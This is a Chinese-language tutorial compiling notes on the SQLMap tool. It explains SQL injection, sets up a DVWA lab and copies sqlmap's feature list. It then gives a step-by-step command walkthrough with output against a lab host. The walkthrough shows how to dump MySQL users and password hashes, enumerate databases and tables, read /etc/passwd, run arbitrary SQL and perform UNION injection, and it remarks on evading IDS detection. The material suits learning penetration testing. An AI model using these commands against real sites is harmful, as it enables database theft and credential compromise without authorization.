SQLMap

概念

1. 什么是SQL注入?[1]

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

2. 什么是SQLMAP?

SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

SQLMAP的使用

官方网址:http://sqlmap.org

把网上搜到的知识进行一个整理,后期再继续整理!!

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令[2]

如何使用SQLmap:

为方便演示,我们创建两个虚拟机:

1、受害者机器, windows     XP操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(DVWA)。

2、攻击器机器,使用Ubuntu     12.04,包含SQLmap程序。

本次实验的目的:使用SQLmap得到以下信息:

3、枚举MYSQL用户名与密码。

4、枚举所有数据库。

5、枚举指定数据库的数据表。

6、枚举指定数据表中的所有用户名与密码。

使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的add-on获取。

TamperData[3]

下载安装网址:Tamper Data是一个用于跟踪和修改http/https请求POST参数的扩展

打开“工具”菜单,点击 Tamper Data,呼出主界面。类似Firefox下著名的抓包扩展Httpfox,这里详细记录了:“网址”、“所耗时间”、“页面大小”、“请求方式”、“状态”、“Content Type”等信息。

一言蔽之,Tamper Data 就是一个“窜改数据”的扩展。既提供了一些常见的抓包功能,也能窜改自己的Header与Post信息。麻雀虽小五脏俱全,与传统的Fiddler这些代理服务器抓包程序不同,Tamper Data仅使用浏览器API完成这一切(弱点是对于服务端的某些post检验,Tamper Data往往会无能为力),但对于日常一些简单的Web调试,或许有意想不到的功效。

参考文献:

[1]http://drops.wooyun.org/tips/2113

[2]http://www.freebuf.com/articles/web/29942.html

[3]http://tieba.baidu.com/p/2295053286

Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
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